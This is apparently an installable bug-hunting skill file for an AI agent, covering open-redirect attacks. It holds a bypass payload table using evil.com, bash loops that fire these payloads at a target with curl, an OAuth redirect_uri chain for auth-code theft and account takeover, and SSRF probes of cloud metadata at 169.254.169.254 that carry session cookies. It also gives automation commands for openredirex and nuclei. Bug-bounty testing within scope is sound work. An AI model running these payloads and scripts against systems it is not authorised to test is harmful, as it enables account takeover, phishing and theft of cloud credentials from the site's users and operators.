$npx -y skills add elementalsouls/Claude-BugHunter --skill hunt-open-redirectHunt Open Redirect — all types including low-impact, chained to OAuth token theft → ATO, phishing chains. URL parameter manipulation, JavaScript redirect, meta refresh, header injection. Use when hunting redirect bugs or building ATO chains.
| 1 | # HUNT-OPEN-REDIRECT — Open Redirect |
| 2 | |
| 3 | ## Crown Jewel Targets |
| 4 | |
| 5 | Open redirect alone is Low. Chained to OAuth = Critical (ATO). |
| 6 | |
| 7 | **Highest-value chains:** |
| 8 | - **Open redirect → OAuth auth code theft** — redirect_uri contains open redirect on trusted domain → auth code sent to attacker → ATO |
| 9 | - **Open redirect → phishing** — users trust the URL because it starts with target.com |
| 10 | - **Open redirect → SSRF escalation** — if redirect followed server-side → SSRF |
| 11 | - **Open redirect → session fixation** — force user to login endpoint with pre-set session |
| 12 | |
| 13 | --- |
| 14 | |
| 15 | ## Attack Surface Signals |
| 16 | |
| 17 | ``` |
| 18 | ?redirect= |
| 19 | ?next= |
| 20 | ?url= |
| 21 | ?return= |
| 22 | ?returnTo= |
| 23 | ?continue= |
| 24 | ?dest= |
| 25 | ?destination= |
| 26 | ?go= |
| 27 | ?forward= |
| 28 | ?location= |
| 29 | ?target= |
| 30 | ?redir= |
| 31 | ?redirect_uri= |
| 32 | ?callback= |
| 33 | ?checkout_url= |
| 34 | ?success_url= |
| 35 | ?cancel_url= |
| 36 | /logout?returnTo= |
| 37 | /login?next= |
| 38 | /sso?callback= |
| 39 | ``` |
| 40 | |
| 41 | --- |
| 42 | |
| 43 | ## Bypass Table |
| 44 | |
| 45 | | Technique | Payload | |
| 46 | |-----------|---------| |
| 47 | | Basic | `https://evil.com` | |
| 48 | | Protocol relative | `//evil.com` | |
| 49 | | Backslash bypass | `/\\evil.com` | |
| 50 | | At-sign confusion | `https://target.com@evil.com` | |
| 51 | | Double slash | `//evil.com/%2F..` | |
| 52 | | URL encoding | `%2Fevil.com` | |
| 53 | | Null byte | `evil.com%00target.com` | |
| 54 | | Whitespace | `evil.com%09` or `%20` | |
| 55 | | JavaScript URI | `javascript:window.location='https://evil.com'` | |
| 56 | | Data URI | `data:text/html,<script>window.location='https://evil.com'</script>` | |
| 57 | | Subdomain | `https://target.com.evil.com` | |
| 58 | | Fragment | `https://evil.com#.target.com` | |
| 59 | |
| 60 | --- |
| 61 | |
| 62 | ## Step-by-Step Hunting Methodology |
| 63 | |
| 64 | ### Phase 1 — Discover Redirect Parameters |
| 65 | ```bash |
| 66 | # Extract all redirect candidates from crawl |
| 67 | cat recon/$TARGET/urls.txt | gf redirect > recon/$TARGET/redirect-candidates.txt |
| 68 | wc -l recon/$TARGET/redirect-candidates.txt |
| 69 | |
| 70 | # Less common param names |
| 71 | grep -E "(\?|&)(return|next|dest|go|forward|location|to|jump|target|out|link|logout)" \ |
| 72 | recon/$TARGET/urls.txt >> recon/$TARGET/redirect-candidates.txt |
| 73 | ``` |
| 74 | |
| 75 | ### Phase 2 — Basic Test |
| 76 | ```bash |
| 77 | COLLAB="https://evil.com" |
| 78 | cat recon/$TARGET/redirect-candidates.txt | qsreplace "$COLLAB" | while read url; do |
| 79 | LOC=$(curl -s -I --max-redirs 0 "$url" | grep -i "^location:") |
| 80 | STATUS=$(curl -s -o /dev/null -w "%{http_code}" --max-redirs 0 "$url") |
| 81 | [ -n "$LOC" ] && echo "$STATUS | $LOC | $url" |
| 82 | done |
| 83 | ``` |
| 84 | |
| 85 | ### Phase 3 — Bypass Techniques |
| 86 | ```bash |
| 87 | BASE_URL="https://$TARGET/redirect?url=" |
| 88 | PAYLOADS=( |
| 89 | "https://evil.com" |
| 90 | "//evil.com" |
| 91 | "/\\evil.com" |
| 92 | "https://$TARGET@evil.com" |
| 93 | "https://evil.com%23.$TARGET" |
| 94 | "https://evil.com%09" |
| 95 | ) |
| 96 | for P in "${PAYLOADS[@]}"; do |
| 97 | LOC=$(curl -s -I --max-redirs 0 "${BASE_URL}${P}" | grep -i "^location:") |
| 98 | echo "$P → $LOC" |
| 99 | done |
| 100 | ``` |
| 101 | |
| 102 | ### Phase 4 — OAuth Chain Test |
| 103 | ```bash |
| 104 | # If target has OAuth, check if redirect_uri accepts open redirect |
| 105 | grep -i "oauth\|authorize\|redirect_uri" recon/$TARGET/urls.txt | head -20 |
| 106 | |
| 107 | # Construct OAuth URL with open redirect as redirect_uri |
| 108 | # Normal: redirect_uri=https://target.com/callback |
| 109 | # Attack: redirect_uri=https://target.com/redirect?url=https://evil.com |
| 110 | OAUTH_URL="https://$TARGET/oauth/authorize" |
| 111 | curl -sv "$OAUTH_URL?response_type=code&client_id=CLIENT_ID&redirect_uri=https://$TARGET/redirect%3Furl%3Dhttps%3A%2F%2Fevil.com" 2>&1 | grep -i "location:" |
| 112 | ``` |
| 113 | |
| 114 | ### Phase 5 — Server-Side Redirect (SSRF escalation) |
| 115 | ```bash |
| 116 | # If the app fetches the redirect target server-side (302 fetch follow) |
| 117 | curl -s "https://$TARGET/proxy?url=https://evil.com/redirect-to-169.254.169.254/latest/meta-data/" |
| 118 | |
| 119 | # Or: if app makes HTTP request to the redirect destination |
| 120 | curl -s "https://$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/" \ |
| 121 | -H "Cookie: $SESSION" |
| 122 | ``` |
| 123 | |
| 124 | --- |
| 125 | |
| 126 | ## Automation |
| 127 | ```bash |
| 128 | # openredirex |
| 129 | pip3 install openredirex |
| 130 | openredirex -l recon/$TARGET/redirect-candidates.txt -p evil.com |
| 131 | |
| 132 | # nuclei |
| 133 | nuclei -u https://$TARGET -t redirect/ -severity medium,high |
| 134 | |
| 135 | # gf + qsreplace |
| 136 | cat recon/$TARGET/urls.txt | gf redirect | qsreplace "https://evil.com" | \ |
| 137 | xargs -I{} curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" --max-redirs 0 {} |
| 138 | ``` |
| 139 | |
| 140 | --- |
| 141 | |
| 142 | ## Chain Table |
| 143 | |
| 144 | | Open redirect finding | Chain to | Impact | |
| 145 | |----------------------|----------|--------| |
| 146 | | Any open redirect | OAuth redirect_uri bypass | Auth code theft → ATO | |
| 147 | | Any open redirect | Phishing URL with target domain | Social engineering | |
| 148 | | Server-side redirect | SSRF via followed redirect | Internal service access | |
| 149 | | Logout redirect | Session fixation | Force login with known session | |
| 150 | |
| 151 | --- |
| 152 | |
| 153 | ## Validation |
| 154 | |
| 155 | ✅ Location header in response points to evil.com (your controlled domain) |
| 156 | ✅ Browser follows redirect to attacker-controlled page |
| 157 | |
| 158 | **Severity:** |
| 159 | - Redirect alone: Low (most programs) |
| 160 | - Chains to OAuth code theft → ATO: High/Critical |
| 161 | - Chains to phishing with brand name: Low |